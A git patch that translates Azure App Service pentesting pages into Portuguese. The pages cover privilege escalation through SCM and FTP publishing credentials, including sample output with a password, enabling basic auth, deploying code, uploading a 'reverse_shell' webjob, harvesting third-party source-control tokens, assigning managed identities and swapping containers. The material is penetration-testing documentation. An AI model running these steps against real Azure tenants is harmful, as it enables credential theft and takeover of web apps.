From c94dbc9bdacc94fd568c5050533540986dc7f807 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 19:25:20 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md --- .../azure-security/az-enumeration-tools.md | 36 ++- .../az-app-services-privesc.md | 253 +++++++++++++++++- .../az-services/az-app-service.md | 184 +++++++++---- 3 files changed, 391 insertions(+), 82 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index e20b1e2fc..b48eacaf1 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -6,26 +6,24 @@ > [!TIP] > No Linux, você precisará instalar o PowerShell Core: -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # Atualizar repositórios -> sudo apt-get update -> sudo add-apt-repository universe -> -> # Instalar e iniciar o powershell -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` ## Instalar PowerShell no MacOS Instruções da [**documentação**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 6dfa27e57..d3bfa7427 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -10,16 +10,16 @@ Para mais informações sobre os serviços de aplicativo do Azure, consulte: ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -Essas permissões permitem chamar os seguintes comandos para obter um **SSH shell** dentro de um aplicativo web +Essas permissões permitem obter um **SSH shell** dentro de um aplicativo web. Elas também permitem **depurar** a aplicação. -- Opção direta: +- **SSH em um único comando**: ```bash # Direct option az webapp ssh --name --resource-group ``` -- Crie um túnel e depois conecte-se ao SSH: +- **Criar túnel e depois conectar ao SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Depurar o aplicativo**: +1. Instale a extensão Azure no VScode. +2. Faça login na extensão com a conta Azure. +3. Liste todos os serviços de aplicativo dentro da assinatura. +4. Selecione o serviço de aplicativo que você deseja depurar, clique com o botão direito e selecione "Iniciar Depuração". +5. Se o aplicativo não tiver a depuração ativada, a extensão tentará ativá-la, mas sua conta precisa da permissão `Microsoft.Web/sites/config/write` para fazê-lo. + +### Obtendo Credenciais SCM e Habilitando Autenticação Básica + +Para obter as credenciais SCM, você pode usar os seguintes **comandos e permissões**: + +- A permissão **`Microsoft.Web/sites/publishxml/action`** permite chamar: +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +Observe como o **nome de usuário é sempre o mesmo** (exceto no FTP, que adiciona o nome do aplicativo no início), mas a **senha é a mesma** para todos eles. + +Além disso, a **URL do SCM é `.scm.azurewebsites.net`**. + +- A permissão **`Microsoft.Web/sites/config/list/action`** permite chamar: +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +Observe como as **credenciais são as mesmas** que no comando anterior. + +- Outra opção seria **definir suas próprias credenciais** e usá-las: +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +Então, você pode usar essas credenciais para **acessar as plataformas SCM e FTP**. Esta também é uma ótima maneira de manter a persistência. + +Lembre-se de que para acessar a plataforma SCM pela **web, você precisa acessar `/BasicAuth`**. + +> [!WARNING] +> Note que cada usuário pode configurar suas próprias credenciais chamando o comando anterior, mas se o usuário não tiver permissões suficientes para acessar o SCM ou FTP, as credenciais não funcionarão. + +- Se você ver que essas credenciais estão **REDACTED**, é porque você **precisa habilitar a opção de autenticação básica do SCM** e para isso você precisa da segunda permissão (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### Publicar código usando credenciais SCM + +Apenas ter credenciais SCM válidas já é possível **publicar código** no serviço de App. Isso pode ser feito usando o seguinte comando. + +Para este exemplo em python, você pode baixar o repositório de https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, fazer quaisquer **alterações** que desejar e então **compactá-lo executando: `zip -r app.zip .`**. + +Em seguida, você pode **publicar o código** com o seguinte comando: +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | Credenciais do SCM + +A permissão do Azure mencionada permite realizar várias ações interessantes que também podem ser realizadas com as credenciais do SCM: + +- Ler logs de **Webjobs**: +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- Leia o código-fonte do **Webjobs**: +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- Criar **Webjob contínuo**: +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +Esta permissão permite listar as **connection strings** e os **appsettings** do serviço de aplicativo, que podem conter informações sensíveis, como credenciais de banco de dados. +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +Essas permissões permitem **atribuir uma identidade gerenciada** ao serviço de aplicativo, então, se um serviço de aplicativo foi comprometido anteriormente, isso permitirá que o atacante atribua novas identidades gerenciadas ao serviço de aplicativo e **escalone privilégios** para elas. +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### Ler Credenciais de Terceiros Configuradas + +Executando o seguinte comando, é possível **ler as credenciais de terceiros** configuradas na conta atual. Note que, se por exemplo, algumas credenciais do Github estiverem configuradas em um usuário diferente, você não poderá acessar o token de um diferente. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Este comando retorna tokens para Github, Bitbucket, Dropbox e OneDrive. + +Aqui estão alguns exemplos de comandos para verificar os tokens: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Atualizar o Código do App a partir da fonte + +- Se a fonte configurada for um provedor de terceiros como Github, BitBucket ou um Repositório Azure, você pode **atualizar o código** do serviço App comprometendo o código-fonte no repositório. +- Se o app estiver configurado usando um **repositório git remoto** (com nome de usuário e senha), é possível obter a **URL e as credenciais de autenticação básica** para clonar e enviar alterações com: +- Usando a permissão **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Usando a permissão **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Se o app estiver configurado para usar um **repositório git local**, é possível **clonar o repositório** e **enviar alterações** para ele: +- Usando a permissão **`Microsoft.Web/sites/sourcecontrols/read`**: Você pode obter a URL do repositório git com `az webapp deployment source show --name --resource-group `, mas será a mesma que a URL SCM do app com o caminho `/.git` (por exemplo, `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Para obter as credenciais SCM, você precisa da permissão: +- **`Microsoft.Web/sites/publishxml/action`**: Em seguida, execute `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Em seguida, execute `az webapp deployment list-publishing-credentials --name --resource-group ` + +> [!WARNING] +> Observe que ter a permissão `Microsoft.Web/sites/config/list/action` e as credenciais SCM torna sempre possível implantar em um webapp (mesmo que tenha sido configurado para usar um provedor de terceiros), conforme mencionado em uma seção anterior. + +> [!WARNING] +> Observe que ter as permissões abaixo também torna **possível executar um contêiner arbitrário** mesmo que o webapp tenha sido configurado de forma diferente. + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +Este é o conjunto de permissões que permite **modificar o contêiner usado** por um webapp. Um atacante poderia abusar disso para fazer um webapp executar um contêiner malicioso. +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index 82d26c89c..1a225b11b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -12,26 +12,74 @@ Cada aplicativo é executado dentro de um sandbox, mas a isolação depende dos - Aplicativos nos níveis Standard e Premium são executados em VMs dedicadas. > [!WARNING] -> Observe que **nenhuma** dessas isolations **impede** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**. +> Observe que **nenhuma** dessas isolamentos **previne** outras **vulnerabilidades web** comuns (como upload de arquivos ou injeções). E se uma **identidade de gerenciamento** for usada, ela pode ser capaz de **escalar privilégios para elas**. -### Aplicativos Azure Function +Os aplicativos têm algumas configurações interessantes: -Basicamente, **os aplicativos Azure Function são um subconjunto do Azure App Service** na web e se você acessar o console da web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os aplicativos Function também listados aqui**. - -Na verdade, alguns dos **recursos relacionados à segurança** que os serviços de aplicativo usam (`webapp` no az cli) **também são usados pelos aplicativos Function**. +- **Always On**: Garante que o aplicativo esteja sempre em execução. Se não estiver habilitado, o aplicativo parará de funcionar após 20 minutos de inatividade e reiniciará quando uma solicitação for recebida. +- Isso é essencial se você tiver um webjob que precisa ser executado continuamente, pois o webjob parará se o aplicativo parar. +- **SSH**: Se habilitado, um usuário com permissões suficientes pode se conectar ao aplicativo usando SSH. +- **Debugging**: Se habilitado, um usuário com permissões suficientes pode depurar o aplicativo. No entanto, isso é desativado automaticamente a cada 48h. +- **Web App + Database**: O console web permite criar um aplicativo com um banco de dados. Nesse caso, é possível selecionar o banco de dados a ser usado (SQLAzure, PostgreSQL, MySQL, MongoDB) e também permite criar um Azure Cache para Redis. +- A URL contendo as credenciais para o banco de dados e Redis será armazenada nas **appsettings**. +- **Container**: É possível implantar um contêiner no App Service indicando a URL do contêiner e as credenciais para acessá-lo. ## Autenticação Básica -Ao criar um aplicativo web (e uma função Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja ativada. Isso basicamente **ativa SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\ +Ao criar um aplicativo web (e uma função do Azure geralmente), é possível indicar se você deseja que a Autenticação Básica seja habilitada. Isso basicamente **habilita SCM e FTP** para a aplicação, então será possível implantar a aplicação usando essas tecnologias.\ Além disso, para se conectar a eles, o Azure fornece uma **API que permite obter o nome de usuário, senha e URL** para se conectar aos servidores SCM e FTP. -- Autenticação: az webapp auth show --name lol --resource-group lol_group +É possível se conectar ao SCM usando um navegador da web em `https:///BasicAuth` e verificar todos os arquivos e implantações lá. -SSH +### Kudu -Always On +Kudu é um **motor de implantação e plataforma de gerenciamento para Azure App Service e Function Apps**, fornecendo implantações baseadas em Git, depuração remota e capacidades de gerenciamento de arquivos para aplicativos web. É acessível através da URL SCM do aplicativo web. -Debugging +Observe que as versões do Kudu usadas pelos App Services e pelos Function Apps são diferentes, sendo a versão dos Function Apps muito mais limitada. + +Alguns endpoints interessantes que você pode encontrar no Kudu são: +- `/DebugConsole`: Um console que permite executar comandos no ambiente onde o Kudu está sendo executado. +- Observe que este ambiente **não tem acesso** ao serviço de metadados para obter tokens. +- `/webssh/host`: Um cliente SSH baseado na web que permite conectar-se dentro do contêiner onde o aplicativo está sendo executado. +- Este ambiente **tem acesso ao serviço de metadados** para obter tokens das identidades gerenciadas atribuídas. +- `/Env`: Obter informações sobre o sistema, configurações do aplicativo, variáveis de ambiente, strings de conexão e cabeçalhos HTTP. +- `/wwwroot/`: O diretório raiz do aplicativo web. Você pode baixar todos os arquivos daqui. + +## Fontes + +Os App Services permitem fazer upload do código como um arquivo zip por padrão, mas também permitem conectar-se a um serviço de terceiros e obter o código de lá. + +- As fontes de terceiros atualmente suportadas são **Github** e **Bitbucket**. +- Você pode obter os tokens de autenticação executando `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` +- O Azure, por padrão, configurará uma **Github Action** para implantar o código no App Service toda vez que o código for atualizado. +- Também é possível indicar um **repositório git remoto** (com nome de usuário e senha) para obter o código de lá. +- Você pode obter as credenciais para o repositório remoto executando `az webapp deployment source show --name --resource-group ` ou `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Também é possível usar um **Azure Repository**. +- Também é possível configurar um **repositório git local**. +- Você pode obter a URL do repositório git com `az webapp deployment source show --name --resource-group ` e será a URL SCM do aplicativo. +- Para cloná-lo, você precisará das credenciais SCM que pode obter com `az webapp deployment list-publishing-profiles --resource-group -n `. + +## Webjobs + +Azure WebJobs são **tarefas em segundo plano que são executadas no ambiente do Azure App Service**. Eles permitem que os desenvolvedores executem scripts ou programas ao lado de seus aplicativos web, facilitando o manuseio de operações assíncronas ou intensivas em tempo, como processamento de arquivos, manipulação de dados ou tarefas agendadas. Existem 2 tipos de web jobs: +- **Contínuo**: Executa indefinidamente em um loop e é acionado assim que é criado. É ideal para tarefas que requerem processamento constante. No entanto, se o aplicativo parar de funcionar porque o Always On está desativado e não recebeu uma solicitação nos últimos 20 minutos, o web job também parará. +- **Acionado**: Executa sob demanda ou com base em um cronograma. É mais adequado para tarefas periódicas, como atualizações de dados em lote ou rotinas de manutenção. + +Webjobs são muito interessantes do ponto de vista de um atacante, pois podem ser usados para **executar código** no ambiente e **escalar privilégios** para as identidades gerenciadas anexadas. + +Além disso, é sempre interessante verificar os **logs** gerados pelos Webjobs, pois podem conter **informações sensíveis**. + +### Slots + +Os Slots do Azure App Service são usados para **implantar diferentes versões da aplicação** no mesmo App Service. Isso permite que os desenvolvedores testem novos recursos ou alterações em um ambiente separado antes de implantá-los no ambiente de produção. + +Além disso, é possível direcionar uma **porcentagem do tráfego** para um slot específico, o que é útil para **testes A/B** e para fins de backdoor. + +### Azure Function Apps + +Basicamente, **Azure Function apps são um subconjunto do Azure App Service** na web e, se você acessar o console web e listar todos os serviços de aplicativo ou executar `az webapp list` no az cli, você poderá **ver os Function apps também listados aqui**. + +Na verdade, alguns dos **recursos relacionados à segurança** que os App Services usam (`webapp` no az cli) **também são usados pelos Function apps**. ### Enumeração @@ -40,9 +88,10 @@ Debugging ```bash # List webapps az webapp list - ## Less information -az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" +az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table +## Get SCM URL of each webapp +az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g' # Get info about 1 app az webapp show --name --resource-group @@ -51,18 +100,24 @@ az webapp show --name --resource-group az webapp list-instances --name --resource-group ## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web -# Get configured Auth information -az webapp auth show --name --resource-group - # Get access restrictions of an app az webapp config access-restriction show --name --resource-group # Remove access restrictions az webapp config access-restriction remove --resource-group -n --rule-name +# Get connection strings of a webapp +az webapp config connection-string list --name --resource-group + # Get appsettings of an app az webapp config appsettings list --name --resource-group +# Get SCM and FTP credentials +az webapp deployment list-publishing-profiles --name --resource-group + +# Get configured Auth information +az webapp auth show --name --resource-group + # Get backups of a webapp az webapp config backup list --webapp-name --resource-group @@ -75,61 +130,39 @@ az webapp config snapshot list --resource-group -n # Restore snapshot az webapp config snapshot restore -g -n --time 2018-12-11T23:34:16.8388367 -# Get connection strings of a webapp -az webapp config connection-string list --name --resource-group +# Get slots +az webapp deployment slot list --name --resource-group --output table +az webapp show --slot --name --resource-group + +# Get traffic-routing +az webapp traffic-routing show --name --resource-group # Get used container by the app az webapp config container show --name --resource-group # Get storage account configurations of a webapp -az webapp config storage-account list --name --resource-gl_group +az webapp config storage-account list --name --resource-group +# Get configured container (if any) in the webapp, it could contain credentials +az webapp config container show --name --resource-group +# Get Webjobs +az webapp webjob continuous list --resource-group --name +az webapp webjob triggered list --resource-group --name +# Read webjobs logs with Azure permissions +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" -# List all the functions -az functionapp list +# Read webjobs logs with SCM credentials +curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \ +--user ':' -v -# Get info of 1 funciton (although in the list you already get this info) -az functionapp show --name --resource-group -## If "linuxFxVersion" has something like: "DOCKER|mcr.microsoft.com/..." -## This is using a container +# Get connections of a webapp +az webapp conection list --name --resource-group -# Get details about the source of the function code -az functionapp deployment source show \ ---name \ ---resource-group -## If error like "This is currently not supported." -## Then, this is probalby using a container - -# Get more info if a container is being used -az functionapp config container show \ ---name \ ---resource-group - -# Get settings (and privesc to the sorage account) -az functionapp config appsettings list --name --resource-group - -# Check if a domain was assigned to a function app -az functionapp config hostname list --webapp-name --resource-group - -# Get SSL certificates -az functionapp config ssl list --resource-group - -# Get network restrictions -az functionapp config access-restriction show --name --resource-group - -# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code) -az rest --method GET \ ---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions?api-version=2024-04-01" - -# Get source code with Master Key of the function -curl "?code=" -## Python example -curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=" -v - -# Get source code -az rest --url "https://management.azure.com//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" +# Get hybrid-connections of a webapp +az webapp hybrid-connections list --name --resource-group ``` {{#endtab }} @@ -196,6 +229,39 @@ git clone 'https://:@name.scm.azurewebsites.net/repo-name.gi ../az-privilege-escalation/az-app-services-privesc.md {{#endref}} +## Exemplos para gerar Aplicativos Web + +### Python localmente + +Este tutorial é baseado no disponível em [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli). +```bash +# Clone repository +git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart +cd msdocs-python-flask-webapp-quickstart + +# Create webapp from this code +az webapp up --runtime PYTHON:3.9 --sku B1 --logs +``` +Fazendo login no portal SCM ou acessando via FTP, é possível ver em `/wwwroot` o arquivo compactado `output.tar.gz` que contém o código da webapp. + +> [!TIP] +> Apenas conectar via FTP e modificar o arquivo `output.tar.gz` não é suficiente para alterar o código executado pela webapp. + +**Um atacante poderia baixar este arquivo, modificá-lo e enviá-lo novamente para executar código arbitrário na webapp.** + +### Python do Github + +Este tutorial é baseado no anterior, mas usando um repositório do Github. + +1. Faça um fork do repositório msdocs-python-flask-webapp-quickstart na sua conta do Github. +2. Crie uma nova Web App em Python no Azure. +3. No `Deployment Center`, altere a fonte, faça login com o Github, selecione o repositório forkado e clique em `Save`. + +Como no caso anterior, fazendo login no portal SCM ou acessando via FTP, é possível ver em `/wwwroot` o arquivo compactado `output.tar.gz` que contém o código da webapp. + +> [!TIP] +> Apenas conectar via FTP e modificar o arquivo `output.tar.gz` e reativar uma implantação não é suficiente para alterar o código executado pela webapp. + ## Referências - [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)